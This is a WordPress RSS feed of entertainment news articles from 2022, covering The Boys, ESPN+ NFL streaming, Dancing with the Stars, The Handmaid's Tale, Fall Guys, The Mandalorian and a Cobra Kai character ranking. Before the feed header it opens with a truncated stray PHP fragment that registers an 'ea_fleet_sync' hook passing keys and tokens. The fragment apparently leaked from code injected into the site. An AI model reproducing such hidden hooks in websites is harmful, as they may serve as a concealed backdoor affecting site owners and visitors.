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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); season – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 00:38:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png season – Brief News https://briefnews.eu 32 32 The Boys Season 4 Could Be A ‘Defining’ Moment For Erin Moriarty’s Starlight https://briefnews.eu/the-boys-season-4-could-be-a-defining-moment-for-erin-moriartys-starlight/ https://briefnews.eu/the-boys-season-4-could-be-a-defining-moment-for-erin-moriartys-starlight/#respond Thu, 22 Sep 2022 00:38:28 +0000 https://briefnews.eu/the-boys-season-4-could-be-a-defining-moment-for-erin-moriartys-starlight/

There’s a lot to look forward to with season 4 of “The Boys,” which likely won’t air until sometime in 2023. Will Soldier Boy (Jensen Ackles) make a return? How will Butcher (Karl Urban) deal with his declining health? Will Homelander (Antony Starr) ever overcome his mommy issues? We’ll just have to wait and see.

For Erin Moriarty, the big question she’s wondering is where her character Annie goes from here. Annie left the Seven for good in the finale, saying goodbye to her Starlight persona once and for all. “I loved throwing that cape down a trash chute symbolically,” Moriarty told Newsweek. “I think that she’s realized that wearing a mask is not the way that she’s gonna go about seeking justice, fighting crime, doing all the things that she wants to do.”

If you could define Annie’s core internal conflict throughout the first few seasons, it would be her deciding between trying to change the system from within or fighting the system from the outside. Both decisions have their pros and cons (fighting from within is certainly safer), but season 3 had Annie decide that she’s sick of all the compromises. First she publicly speaks out against Homelander, and now she’s officially a member of the Boys. No longer will she have to smile for the camera if she doesn’t want to. As Moriarty put it: “I feel like the release of that façade and that mask is going to be very defining for her and liberating for her.”

Has Annie Been Given Her Due Yet?

Moriarty’s talk about this new season being a defining one for Annie makes us look back at season 3 and wonder if there were any missing opportunities for a defining moment there. A lot of her storyline revolved around her frustration with Hughie (Jack Quaid), who wanted to be strong as a supe like her. After the couple seem on the verge of breaking up, Hughie realizes that he doesn’t need to be a supe to be strong. Instead, he learns to lean into the strengths he already has and embrace his status as a normal dude.

This all culminates in the big supe battle in the finale where Hughie sees Annie losing a fight with Soldier Boy. He briefly considers taking the temporary Compound V to save her, but instead chooses to help her out in a healthier way: by turning up the lights in the room and giving Annie an unprecedented amount of strength to draw upon.

It’s a nice way to wrap up the storyline, except for the fact that Annie’s big attack on Soldier Boy is … kind of underwhelming. The show builds it up as if Annie’s about to unleash some new power we’ve never seen before, but all she does is knock Soldier Boy over. All he has to do is dust himself off a little, and he’s fine. Considering that Soldier Boy gets written out of the story a few minutes later anyway, the writers could’ve at least let Annie do a little more damage than she does here. 

What Happens Next?

One of the last things Maeve (Dominique McElligott) says to Annie in her goodbye is, “You don’t need me anymore. I could jump, but you can f***ing fly.” But the thing is, can Annie fly? We know she can hover if she’s near a particularly strong power source, but that’s kind of it so far, isn’t it? This line from Maeve rings a little hollow because as much as the show seems to want us to think Annie’s power-up against Soldier Boy was cool, all it actually did was remind us how physically weak she is compared to the other supes. Maeve was able to casually tackle Soldier Boy out a window, whereas it took all of Annie’s strength to merely knock Soldier Boy down.

Then again, Annie’s powers have always seemed secondary to her general kindness and bravery. From the beginning, a large part of the character’s appeal was how much of an underdog she is. She may be powerful but we know she doesn’t stand a chance in a one-on-one fight against Homelander, which only makes her decision to keep fighting him more inspiring. 

As she goes into season 4, Annie won’t have any sort of protection from Vought, nor will she have Maeve or a suped-up Butcher to help her out either. She’s more vulnerable than we’ve ever seen her so far, which will give her plenty of opportunities for an exciting, character-defining journey. Maybe her powers will meaningfully improve next season or maybe they won’t, but as long as she’s fighting the good fight we’ll be rooting for her either way.

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]]> https://briefnews.eu/the-boys-season-4-could-be-a-defining-moment-for-erin-moriartys-starlight/feed/ 0 ESPN+ is streaming 9 NFL games this season — here’s a full schedule and how to watch https://briefnews.eu/espn-is-streaming-9-nfl-games-this-season-heres-a-full-schedule-and-how-to-watch/ https://briefnews.eu/espn-is-streaming-9-nfl-games-this-season-heres-a-full-schedule-and-how-to-watch/#respond Mon, 19 Sep 2022 21:53:32 +0000 https://briefnews.eu/espn-is-streaming-9-nfl-games-this-season-heres-a-full-schedule-and-how-to-watch/ Ezekiel Elliott of the Dallas Cowboys runs the football against the New York Giants at MetLife Stadium in December 2021
The New York Giants will host the Dallas Cowboys in one of the nine NFL games scheduled for ESPN+ this season.

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  • The ESPN+ streaming service will feature nine NFL games during the 2022 season.
  • Live games include select Monday Night Football matchups, a Wild Card playoff game, and the London game.
  • ESPN+ costs $ 10/month, and can also be bundled with Disney Plus and Hulu starting at $ 14/month.

ESPN+ is ramping up its lineup of NFL content for the 2022 season, including multiple live games and the first-ever ESPN+ exclusive matchup. In the past, ESPN+ has been lacking when it comes to live NFL coverage, so this year's streaming schedule should make the service a better value for football fans.  

Most of the NFL games on ESPN+ will be Monday Night Football matchups, which will also air on the ESPN cable channel and ABC. ESPN+ will also stream Monday Night Football with Peyton and Eli, also known by fans as the Manningcast, during three weeks of the season.

ESPN+ costs $ 10 a month, and can also be bundled with Disney Plus and Hulu for a current starting price of $ 14 a month. The standard bundle price will increase to $ 15 a month starting December 8.  

Does ESPN+ stream NFL games?

A total of nine NFL games are scheduled to stream on ESPN+ during the 2022 season, including five Monday Night matchups, a Wild Card playoff game, two Saturday games, and the NFL's annual London game.

The London game on October 30 will be exclusive to ESPN+. Every other NFL game on ESPN+ will be simulcast by ESPN and/or ABC. 

Though the ESPN cable network will broadcast additional NFL games throughout the season, not all of these matchups will stream on ESPN+. Unfortunately, that means there won't be NFL games on ESPN+ during every week of the season. 

What NFL games can I watch on ESPN+?

  • Denver Broncos at Seattle Seahawks, September 12, 8:15 p.m. ET
  • Minnesota Vikings at Philadelphia Eagles, September 19, 8:30 p.m. ET
  • Dallas Cowboys at New York Giants, September 26, 8:15 p.m. ET
  • Denver Broncos at Jacksonville Jaguars, October 30, 9:30 a.m. ET (Exclusive to ESPN+)
  • Los Angeles Rams at Green Bay Packers, December 19, 8:15 p.m. ET
  • Buffalo Bills at Cincinnati Bengals, January 2, 8:30 p.m. ET
  • Game to be determined, January 7, 4:30 p.m. ET
  • Game to be determined, January 7, 8:15 p.m. ET
  • Wild Card playoff game, January 16, 8:15 p.m. ET

Does ESPN+ stream other NFL content?

Beyond live NFL games, ESPN+ features additional NFL content and analysis, including programs like "NFL Primetime," "NFL Turning Point," and "NFL Matchup."

Chris Berman and Booger McFarland host the ESPN+ show "NFL Primetime." The series recaps games every Sunday night during the season. There will be a total of 22 episodes.

Meanwhile, "NFL Matchup" is hosted by Sal Paolantonio and offers detailed breakdowns of the week's upcoming games. New episodes are available to stream every Saturday morning.

"NFL Turning Point" is an ESPN+ show that examines game footage from the prior week for deep analysis. New "Turning Point" episodes are available every Wednesday.

ESPN+ members also get access to multiple exclusive articles on ESPN.com every week during the season. ESPN analysts like Bill Barnwell, Field Yates, and Mike Clay provide written analysis of the league and fantasy football advice. 

Finally, Season four of Peyton Manning's ESPN+ show "Peyton's Places" will begin on October 30. The show features interviews with NFL players and coaches as Manning reflects on the league's history. New episodes will air every Sunday during the season.

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Gabby Windey ("The Bachelorette") will compete with dancer Val Chmerkovskiy on "Dancing with the Stars."

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  • "Dancing with the Stars" season 31 starts streaming September 19 on Disney Plus.
  • The cast includes actress Selma Blair, "Bachelorette" star Gabby Windey, comedian Wayne Brady, and more.
  • You can watch new episodes every Monday at 8 p.m. ET with a Disney Plus subscription ($ 8/month).

For the first time ever, "Dancing with the Stars" will air exclusively on Disney Plus starting September 19. The show originally ran on ABC for its first 30 seasons, before making the jump to Disney's streaming service.

The dancing competition pairs a variety of celebrities with professionally trained dancers. Each week, the stars attempt to master new dance techniques such as the foxtrot and tango. The cast for this season includes "Bachelorette" star Gabby Windey, actress Selma Blair, comedian Wayne Brady, social media personality Charli D'Amelio, and more.

Season 31 is hosted by Tyra Banks and Alfonso Ribeiro. Len Goodman, Derek Hough, Carrie Ann Inaba, and Bruno Tonioli all return as judges. 

How to watch 'Dancing with the Stars'

You can watch "Dancing with the Stars' season 31 exclusively on Disney Plus starting September 19 at 8 p.m. ET. New episodes will follow every Monday.

Disney Plus costs $ 8 a month or $ 80 a year for ad-free streaming. If you sign up by September 19, you can get your first month for just $ 2. You should keep in mind, however, that the ad-free price will increase to $ 11 a month starting December 8. You can also bundle Disney Plus with Hulu and ESPN+ for a current starting price of $ 14 a month.

Disney Plus is available to stream on mobile devices, media players, and smart TVs from most major brands. You can also stream the service through web browsers. Check the Disney Plus website for a full list of supported devices. 

Is 'Dancing with the Stars' only on Disney Plus?

Though previous seasons of "Dancing with the Stars" aired on ABC and streamed on Hulu the next day, season 31 will only be available to watch on Disney Plus. 

Will there be another season of 'Dancing with the Stars'?

"Dancing with the Stars" received a two-season pickup when it was announced for Disney Plus, so the show will return for at least one more season after season 31 concludes. 

Who is competing in 'Dancing with the Stars' season 31?

The following celebrities and dancers will all vie for the Mirrorball trophy in season 31 of "Dancing with the Stars":

  • Joseph Baena (fitness model) with Daniella Karagach
  • Selma Blair (actress) with Sasha Farber
  • Wayne Brady (comedian) with Witney Carson
  • Sam Champion (weather anchor) with Cheryl Burke
  • Charli D'Amelio (social media star) with Mark Ballas
  • Heidi D'Amelio (reality TV star) with Artem Chigvintsev
  • Jessie James Decker (country singer) with partner Alan Bersten
  • Trevor Donovan (actor) with Emma Slater
  • Daniel Durant (actor) with partner Britt Stewart
  • Teresa Giudice (reality TV star) with Pasha Pashkov
  • Vinny Guadagnino (reality TV star) with Koko Iwasaki
  • Cheryl Ladd (actress) with Louis van Amstel
  • Jason Lewis (actor) with Peta Murgatroyd
  • Shangela (reality TV star) with Gleb Savchenko
  • Jordin Sparks (singer) with Brandon Armstrong
  • Gabby Windey ("Bachelorette" star) with Val Chmerkovskiy
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  • "The Handmaid's Tale" is a TV adaptation of Margaret Atwood's classic novel.
  • The show's fifth season starts streaming on September 14 exclusively on Hulu. 
  • A Hulu subscription costs $ 7 a month with ads, or $ 13 a month for ad-free streaming.

"The Handmaid's Tale," based on Margaret Atwood's classic book, returns for a fifth season on September 14. The Hulu original series is set in a dystopian alternate reality where women are subjugated under a totalitarian government.

Elisabeth Moss stars as June, a former handmaid who takes on the role of a rebel leader against the Republic of Gilead. The show also stars Yvonne Strahovski, Ann Dowd, O-T Fagbenle, Max Minghella, Samira Wiley, and Bradley Whitford.

Check out the trailer for 'The Handmaid's Tale' season 5

"The Handmaid's Tale" has received numerous awards, including an Emmy for outstanding drama series in 2017, and a Golden Globe for best drama series in 2018. The show holds an average "80% Fresh" rating on review aggregation website Rotten Tomatoes. As of September 13, season five has a "67% Fresh" rating based on six early reviews from critics.

How to watch 'The Handmaid's Tale'

You can watch "The Handmaid's Tale"s season five on Hulu starting September 14. The first two episodes premiere at 12 a.m. ET. New episodes are then expected to follow every Wednesday through November 9.

In addition to the new season, you can also watch seasons one through four of "The Handmaid's Tale" on Hulu.

Hulu's basic, ad-supported plan costs $ 7 a month. For ad-free streaming, you can upgrade to Hulu's premium plan at $ 13 a month. Keep in mind, however, that Hulu will be increasing its ad-supported price to $ 8/month and its ad-free price to $ 15/month on October 1o.

 

"The Handmaid's Tale" is available to watch on Hulu through a range of streaming devices including Apple TV, Chromecast, Roku, iOS, Android, Amazon Fire TV, Xbox, Nintendo Switch, PlayStation, and most smart TVs. You can also access Hulu through a web browser.

Can I watch 'The Handmaid's Tale' for free? 

Yes, you can watch "The Handmaid's Tale" for free with a trial to Hulu. New Hulu subscribers get a 30-day free trial to test out the service. After your trial ends, you'll need to pay for a subscription to keep watching.

In order to watch every episode in season five of "The Handmaid's Tale" for free we recommend waiting until the end of October to sign up for your trial. 

How many episodes are in season 5 of 'The Handmaid's Tale'?

Season five of "The Handmaid's Tale" will feature 10 episodes in total. 

Will season 5 of 'The Handmaid's Tale' be the last season?

"The Handmaid's Tale" season five will not be the show's last season. According to the Hollywood Reporter, Hulu has renewed "The Handmaid's Tale" for a sixth and final season.

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]]> https://briefnews.eu/the-handmaids-tale-season-5-hits-hulu-on-september-14-heres-how-to-watch-the-critically-acclaimed-drama/feed/ 0 Fall Guys adds Star Trek, Aliens, and Hatsune Miku in its new season https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/ https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/#respond Mon, 12 Sep 2022 16:20:06 +0000 https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/ Fall Guys: Ultimate Knockout announced its next season today, taking the beans where no bean has gone before. Season 2 of the recently gone free-to-play platform-party battle royale is moving the festivities to space in Satellite Scramble. The update will bring some major collaborations to the game, from Star Trek to Hatsune Miku.

Fall Guys SEASON 2 *CINEMATIC TRAILER* [HD]

Fall Guys Season 2: Satellite Scramble follows a tale of the game’s bean mascots leaving their home planet (home of the Blunderdome) behind in search of “intergalactic frontiers.” The new season brings more cosmic maps, minigames, aesthetics, costumes, challenges, and more to the title. The minigames are said to be space-themed variations of previous Rounds present in Solo, Duo, and Squads playlists. These come along with all-new Rounds that debut with the upcoming season 2 launch event.

New confirmed Rounds include:

  • Tiptoe Finale
  • Starchart
  • Pixel Painters
  • Cosmic Highway
  • Hyperdrive Heroes
  • Hex-a-terrestrial
  • Space Race
  • Frantic Factory

Season 2 will bring Star Trek’s Spock, the Xenomorph from the Alien series, and Hatsune Miku to the game as skins. Each of these collaborations is unlockable in the upcoming 100-plus level battle pass, along with other space-themed costumes, emotes, and unlocks.

The journey beyond the stars begins with a launch event on September 15. This event comes with various unlockable rewards that players can get by earning points in the launch playlist, similar to the recent Sonic the Hedgehog collaboration event. These rewards include:

  • Space Bean Nickname: 200 Points
  • 200 Kudos: 300 Points
  • Satellite Explorer Nameplate: 500 Points
  • Space Icons Pattern: 800 Points
  • Satellite Backpack: 1000 Points

The new season of Fall Guys: Ultimate Knockout begins on September 15 with a special launch event. The game is free-to-download for Xbox One, Xbox Series X/S, PlayStation 4, PlayStation 5, PC, and Nintendo Switch.

]]> https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/feed/ 0 The first ‘Mandalorian’ season three trailer reunites a favorite Star Wars family https://briefnews.eu/the-first-mandalorian-season-three-trailer-reunites-a-favorite-star-wars-family/ https://briefnews.eu/the-first-mandalorian-season-three-trailer-reunites-a-favorite-star-wars-family/#respond Sun, 11 Sep 2022 14:26:35 +0000 https://briefnews.eu/the-first-mandalorian-season-three-trailer-reunites-a-favorite-star-wars-family/ With D23 underway this weekend, Disney had a lot to share with Star Wars fans. In all, the company debuted three trailers at the expo. First, there was a final look at Star Wars: Andor ahead of the show’s Disney+ premiere on September 21st. Then, we got to see Tales of the Jedi, a new animated anthology series that will begin streaming on October 23rd. But what you can here to see is the first trailer for season three of The Mandalorian.

The clip is the same one that was shown behind closed doors at Star Wars Celebration. Spoilers for season two of The Mandalorian and The Book of Boba Fett follow. 

After he left to train at Luke’s Jedi Temple, Grogu and Din (Pedro Pascal) are reunited and back to their usual hijinks, but Mando’s decision to take his helmet off at the end of season two has damaged his relationship with the Armorer and what’s left of his clan. The fact he also took the Darksaber from Moth Gideon is also a source of conflict between him and Bo-Katan (Katee Sackhoff). Based on the trailer, it looks like season three will tell a more focused story with fewer detours for Mando and Grogu to get into trouble.

The Mandalorian season three will arrive on Disney+ in 2023.

]]> https://briefnews.eu/the-first-mandalorian-season-three-trailer-reunites-a-favorite-star-wars-family/feed/ 0 Every Main Character In Cobra Kai Season 5 Ranked Worst To Best https://briefnews.eu/every-main-character-in-cobra-kai-season-5-ranked-worst-to-best/ https://briefnews.eu/every-main-character-in-cobra-kai-season-5-ranked-worst-to-best/#respond Sat, 10 Sep 2022 00:11:26 +0000 https://briefnews.eu/every-main-character-in-cobra-kai-season-5-ranked-worst-to-best/

Major spoilers for “Cobra Kai” season 5 follow.

Just in time for back-to-school season, the doors of the “Cobra Kai” dojo are open once again. Netflix’s teen karate sensation returns to the streaming giant with an epic season 5 that could easily serve as the show’s overall conclusion. After a devastating loss at the All-Valley Tournament, Daniel LaRusso (Ralph Macchio) and Johnny Lawrence (William Zabka) have shuttered their dojos and are prepared to leave karate behind. With John Kreese (Martin Kove) in jail for assault, Terry Silver (Thomas Ian Griffith) is now in charge of Cobra Kai, and he’s started to expand his empire throughout the San Fernando Valley.

Knowing first-hand how dangerous Terry can be, Daniel enlists an unlikely partner to protect his family from Silver. Chozen (Yuji Okumoto) travels all the way from Okinawa to come to Daniel’s aid, and the former enemies conspire to bring down the ponytailed monster and show the world just how dangerous the Cobra Kai philosophy really is. Miyagi-Do’s survival may be the overarching plot, and Silver is clearly this season’s big bad, but season 5 of “Cobra Kai” is bursting with all kinds of exciting characters and dynamic adventures. With an even bigger tournament on the horizon, let’s rank each of the season’s main characters from worst to best, based on how strong each of their arcs are in this powerful season.

Kim Da-Eun

The series’ newest sensei, Kim Da-Eun (Alicia Hannah-Kim), is the granddaughter of the karate master who once taught Silver and Kreese the way of the fist. She travels on Silver’s private jet from South Korea to California along with several of her best teachers, with plans to bolster Cobra Kai’s ranks with her own brand of warrior. Silver has promised Kim a share of the empire that he’s building, but what she truly desires is a legacy. Her grandfather’s deceptive style has long been relegated to the shadows, and Kim sees a chance to showcase her family’s traditions on the world’s stage.

Kim’s training methods are harsh, and her style meshes well with Silver’s own brutal manipulation. We don’t learn much about her past, however, although a flashback to her childhood in which she observes at her famous grandfather’s dojo hints at a tender connection with John Kreese. While it’s exciting to see the show’s first female sensei, Kim is essentially a cartoonish villain with little character development outside of her cruel smirk and long braid. Perhaps future seasons will allow more of her personality to rise to the surface, but as of now, she has little more depth than the stone dummy she uses to torture Tory Nichols (Peyton List).

John Kreese

One of the most memorable villains of the ’80s, John Kreese begins season 5 behind bars. Framed by his partner Terry Silver for assaulting Raymond, aka Stingray (Paul Walter Hauser), Kreese finds himself sidelined from the season’s main action.

While the original “Karate Kid” trilogy treats Kreese as a pure villain, “Cobra Kai” has taken pains to give him more humanity. When it comes to the aging sensei, it’s often difficult to tell where our sympathies should lie, and what we see in season 5 is more endearing than expected. Sensing a kindred spirit, Kreese mentors the troubled Tory, though his advice often encourages her to feed her anger rather than release it, and his request that she stay at Cobra Kai so that he can exact revenge on his former partner puts her in harm’s way.

Kreese is finally forced to confront the sins of his past during a prison therapy session where he comes face-to-face with a younger version of Johnny, the boy he once attacked in a parking lot following the All-Valley Tournament. It’s a powerful moment that invites the audience to forgive Kreese, even if Johnny is reluctant to give him another chance. Kreese takes several important steps down the road to redemption, but the season ends with a ridiculous prison escape that erases all of the goodwill that’s built up over the past few episodes, and feels specifically designed to set up future drama.

Jessica Andrews

As a legacy series, one of the joys of watching “Cobra Kai” is seeing characters from the original films pop up in Johnny’s world. By now, the show has become known for its cameos, and season 5 delivers for fans of “The Karate Kid Part III.” Fed up with her husband’s karate obsession, Amanda LaRusso (Courtney Henggeler) takes the children to her mother’s house for a few days, where they’re greeted by none other than Jessica Andrews (Robyn Lively), the former pottery store employee who once befriended Mr. Miyagi (Pat Morita) and Daniel before the latter’s second bid for the All-Valley title.

See, Jessica happens to be Amanda’s cousin, and we learn here that she’s responsible for introducing Daniel to his future spouse. But Jessica plays a more important role in season 5 when she convinces Amanda to take Silver’s threats seriously. She was there during the peak of Silver’s harassment, and was threatened and attacked by his pupil, Mike Barnes (Sean Kanan), and his goons. If not for Jessica, Amanda might’ve found herself an unsuspecting pawn in Silver’s devious plans. Jessica’s appearance may be a pleasant surprise for fans, and she serves an important purpose in the larger plot, but she’s ultimately not around long enough to make much of an impact on the season as a whole.

Mike Barnes

Season 5’s most exciting return is the reemergence of the “bad boy of karate,” Mike Barnes. The secondary antagonist in “The Karate Kid Part III,” Mike was once hired by Silver to torment Daniel and bully him into defending his title in the All-Valley Tournament. Hoping to find any advantage they can against Silver, Daniel and Chozen reach out to Mike before Silver can get to him, and discover a rehabilitated man happily running a furniture store.

Unfortunately, once he reconnects with Daniel, Mike finds himself back in the ponytailed monster’s crosshairs. His furniture store mysteriously burns down, ruining both his credit and his livelihood. Still, Mike turns out to be a crucial ally in the final battle against Silver, and it’s reassuring to learn that the once violent and angry man has managed to find peace. Unfortunately, his appearance is brief, and his role in the story isn’t much more than a novelty.

Stingray

Raymond “Stingray” Porter is a wannabe Cobra Kai fighter who has been hanging around the periphery of the dojo since season 2. Though he’s never made much of an impact on the story before, he proves to be crucial to season 5, falsely identifying Kreese as his attacker after waking up in the hospital from a brutal beating. In previous seasons, Stingray was an awkward bit of comic relief, and proved to be more of a distraction for Daniel and Johnny than anything else. However, this season he must reckon with the consequences of his actions, and ends up serving as a heartbreaking example of Silver’s cruelty.

While Stingray’s “loyalty” earns him an honorary membership in Cobra Kai — not to mention a luxurious apartment and a fancy car — he knows that he’s still a joke to the man he claims to admire. However, given that he almost died the last time he crossed Silver, Stingray is afraid to come forward. By the end of the season, though, Stingray becomes an unofficial member of Miyagi-Do, finally finding the strength to stand up to his bullies and refusing to remain a pawn in their cruel games.

Anthony LaRusso

The youngest LaRusso (Griffin Santopietro) has had quite the arc over the past five seasons, transitioning from a barely-there little brother to a lazy whiner who doesn’t want to do chores to a reluctant bully. However, in season 5, Anthony finally comes into his own. Now the target of his former victim, Kenny Payne (Dallas Dupree Young), who seeks revenge for the cruel tricks that Anthony and his friends played on him, Anthony finds himself in need of protection. He’ll never be the best fighter, but by joining Miyagi-Do and bonding with his older sister, Samantha (Mary Mouser), he manages to discover and cultivate his own strengths.

Anthony is a problem solver, as seen when he finds a solution to Chozen’s “Protect the Egg” challenge. Later, Anthony watches over the footage that ends up being key to Silver’s downfall, while the rest of the dojo offers its protection. Anthony might not be the most dynamic character on “Cobra Kai,” but his emotional growth is endearing, and he ends the season miles away from the mostly silent and forgotten character that he used to be.

Demetri Alexopoulos

Arguably the heart of Miyagi-Do, Demetri Alexopoulos (Gianni DeCenzo) returns in “Cobra Kai” season 5 as the overly analytical nerd (we’re not allowed to say “geek”) who just wants to support his friends. A constant ally, Demetri is confident in his steadily-growing karate skills, which he shows off when he finally gets a chance to battle his former bully, Kyler Park (Joe Seo). Demetri also flaunts his technological skills when he helps Johnny set up a cell phone that the sensei uses to find work as a ride-share driver. Finally, Demetri takes the lead when it comes to downloading incriminating footage of Silver from the Cobra Kai servers.

The quick reflexes that Demetri has learned from both Johnny and Daniel come in handy when he protects the computer screen from an errant kick during a large brawl. Demetri can also be counted on for comic relief and a well-timed pop-culture reference. He’s the member of the team who’s willing to speak to uncomfortable truths, like reminding Hawk that he and Robby both used to be jerks. However, while Demetri is one of the most beloved characters in “Cobra Kai,” his storylines almost always serve other characters. Aside from his baffling relationship with Yasmine, he doesn’t seem to have much of a life of his own.

Kenny Payne

Kenny, who was introduced in season 4, and his story harken back to the early days of “Cobra Kai.” Constantly bullied by Anthony and his friends, he finds protection at Cobra Kai, where he’s mentored by the dojo’s former golden boy, Robby Keene. It’s through this partnership that Robby finally begins to see the harm caused by Silver’s training methods, and tries to convince the angry young man to leave the dojo before it’s too late. However, Kenny doubles down instead, and becomes one of the Cobra Kai’s preeminent fighters. Terrified of showing weakness, he easily falls under the sway of Silver’s manipulations.

That said, there are hints that Kenny’s having a change of heart. He balks at Silver’s patented chest punch, which includes an intentionally dangerous hand formation that’s designed to knock the breath out of opponents. In addition, while Silver gives Kenny some valuable advice about following his own instincts, he also indulges the boy’s fantasies of revenge. At the end of the season, Kenny is still in turmoil. He may have rejected Cobra Kai, but he’s not quite ready to face the harm that his actions have caused.

Sam LaRusso

Daniel’s perpetually troubled daughter begins season 5 in a dark place once again. After losing the All-Valley Tournament, she blames herself for Miyagi-Do’s closure, and toys with giving up karate for good. When her boyfriend, Miguel (Xolo Maridueña), ventures off to Mexico to track down his father, Sam decides that she’s over the whole thing. She breaks up with him and embarks on a mission to find herself.

While this is a noble goal, Sam never really gets a chance to see her quest through. She emerges from a dip in a sensory deprivation tank, during which she fights a dark version of herself, more confused than ever, and when her father is injured by Silver, Sam quickly returns to the dojo to fight. Tory’s revelation that she was robbed of the title seems to solve all of Sam’s problems — it’s a frustratingly pat answer to an entirely relatable teen identity crisis. Still, while Sam has always been a little self-absorbed, she matures a bit this season, finally letting go of her hatred for Tory when she realizes that her rival has problems that she can’t even begin to imagine.

Miguel Diaz

The early episodes of “Cobra Kai” season 5 largely revolve around Miguel’s ill-advised trip to Mexico to track down his long-lost father. Alone in a new country, Miguel faces some brief ups and downs before stumbling upon the man by chance in a convenient bit of plot manipulation. Miguel saves his father’s young stepson from being run over in the street, and works his way into his father’s life without revealing his true identity. It takes a few days with the seemingly kind man before his true colors shine through.

Devastated, Miguel calls his mother and decides to come home moments before he reunites with Johnny. It’s meant to be touching, but the whole segment feels contrived, and the episodes in Mexico are easily the worst of the new season. The writers clearly hadn’t thought much about what sending Miguel to Mexico would mean, and seemingly tried to resolve this uncomfortable plot turn as quickly as possible. Miguel’s reconciliation with Robby and his breakup with Sam are much more compelling; were it not for those early installments, he would rank much higher on this list.

Amanda LaRusso

Mrs. LaRusso has never quite understood her husband’s fixation on karate, and can’t believe that it’s such a huge part of their lives. However, while she’s always been supportive, this season marks a turning point: Amanda finally understands Daniel’s need to expose Silver for the bully he is.

But this transition comes at a personal cost, and it doesn’t happen overnight. She blames Daniel for losing a coveted position on a charity board, not realizing that it’s really Silver’s fault. Fed up, she takes the kids and leaves, essentially giving her husband an ultimatum and warning him that, if he wants to stay in his children’s lives, he has to leave karate alone. It takes a visit with her cousin Jessica for Amanda to see Silver for the menace he is. Though her fighting skills — or lack thereof — stand out like a sore thumb, Amanda is always a welcome sight, and Henggeler’s comedic timing continues to be one of the show’s highlights.

Hawk

After five seasons, Eli “Hawk” Moskowitz (Jacob Bertrand) has finally made peace with himself. The reigning All-Valley champion enters the season with a new lease on life and a maturity well past his years. He’s a supportive friend, and his relationship with Moon (Hannah Kepple) is on solid ground now that he’s no longer obsessed with his image. He’s ready and willing to defend his friends, but is also finally comfortable walking away from conflict. Hawk has internalized the teachings of both dojos, and now sees karate as a method of protection, not a way to intimidate and harass others.

Although Hawk shows some surprising maturity throughout the season, his most impressive growth can be seen when he loses a crucial fight against Kenny. After the novice fighter delivers an illegal punch straight to his heart, Hawk walks off the mat and watches Sam’s match from the sidelines. When she wins, he congratulates her without a hint of bitterness. When later asked about his loss, he says that it just didn’t work out for him. Later, at the dojo, Hawk expands on his newfound philosophy: Sometimes you win, and sometimes you lose. Either way, it’s simply a part of life. It’s an incredibly satisfying turn for one of the most feared bullies that “Cobra Kai” has ever produced.

Tory Nichols

Tory is another character whose anger supersedes her sense of reason. The bitter teenager is saddled with taking care of her both younger brother and her ailing mother while training, going to school, and trying to keep food on their table. As if that’s not enough, Tory also faces a crisis of confidence when she realizes that she only won last season’s All-Valley tournament because Silver cheated in her favor. Nevertheless, she stays with Cobra Kai, even breaking up with Robby to do so. It’s not till later that we realize that she’s been secretly working with Kreese to take Silver down.

As Cobra Kai leader, Tory takes on an informal mentoring role, and tries to help Devon (Oona O’Brien) channel her own anger and grief. As with Robby, it’s while teaching someone else the Cobra Kai philosophy that Tory finally sees its flaws. She eventually admits to losing the match against Sam, but she’s once again met with hatred and fury. When Sam finally gives her a chance to explain, Tory helps expose Silver’s deceptions and reunites with Robby. Hopefully, this newfound peace will be for keeps, and Tory will find a way to release her anger and frustration in a more positive way.

Robby Keene

One of the most touching moments of “Cobra Kai” season 4 occurs in the final episode, when Robby finally lets go of his anger and connects with his estranged father, Johnny. Father and son begin season 5 on a road trip to Mexico, ostensibly in order to repair their relationship, but Johnny has an ulterior motive: He wants to search for Miguel, who’s on a mission to find his own dad. Robby, though, has no interest in making amends with his rival; it’s not until Johnny forces them to fight it out that Robby sincerely apologizes for the kick that sent Miguel over the balcony and paralyzed him for months.

While this reconciliation is touching, Robby’s best moments occur when he uses his natural leadership abilities to help those caught up in Cobra Kai’s web. He has no intention of ever going back to the dojo, and tries to convince Tory and Kenny to leave as well. They are not receptive at first, but Robby knows all too well how hard it can be to break free from Silver’s spell, and refuses to give up on his friends.

Terry Silver

It’s not easy for a bad guy to stand out on a show with so many larger-than-life villains, but this silver-haired megalomaniac manages to rise above them all. Terry Silver is the wealthy psychopath who once tortured Daniel in “The Karate Kid Part III,” getting revenge for his old friend, John Kreese. In season 5, after framing his long-time ally for assault, Terry begins expanding Cobra Kai, and builds dojos throughout the Valley. On the surface, Tery is incredibly charming, and he has a particular knack for playing the victim while implicating everyone around him. His extravagant wealth also means that he’s able to stay one step ahead of everyone else, and he can usually sway circumstances in his favor with a well-placed donation or generous gift.

But Silver’s philanthropy hides a ruthless streak; as viewers, we know that Silver will do anything to get what he wants. He buys Stingray’s silence with a luxury apartment. He tries to intimidate Mike Barnes by burning down his furniture store. He’s much more dangerous than Kreese, because his charisma makes it impossible to see how far he’s gotten his claws into you until it’s too late. Although Tory exposes his corruption and Silver ends the season in handcuffs, people like him never stay down for long. It’s quite likely that we will see this suave villain resurface in the future.

Johnny Lawrence

“Cobra Kai” has always been structured around Johnny’s redemption, but it took until season 5 for the former bully to come full circle. After reconnecting with his son, Robby, Johnny tries to forge relationships with both his own kid as well as Miguel, the teen he’s started to see as a surrogate child. This is all before learning that he has a baby on the way with Miguel’s mother, Carmen (Vanessa Rubio); Johnny’s new commitment to parenting goes a long way towards redeeming the character.

Further, this season Johnny breaks a decades-long pattern and refuses to abandon the friendship he’s finally forged with Daniel. After four seasons of fighting, the one-time enemies have rid themselves of the deep-seated anger and resentment they’ve been harboring since high school.

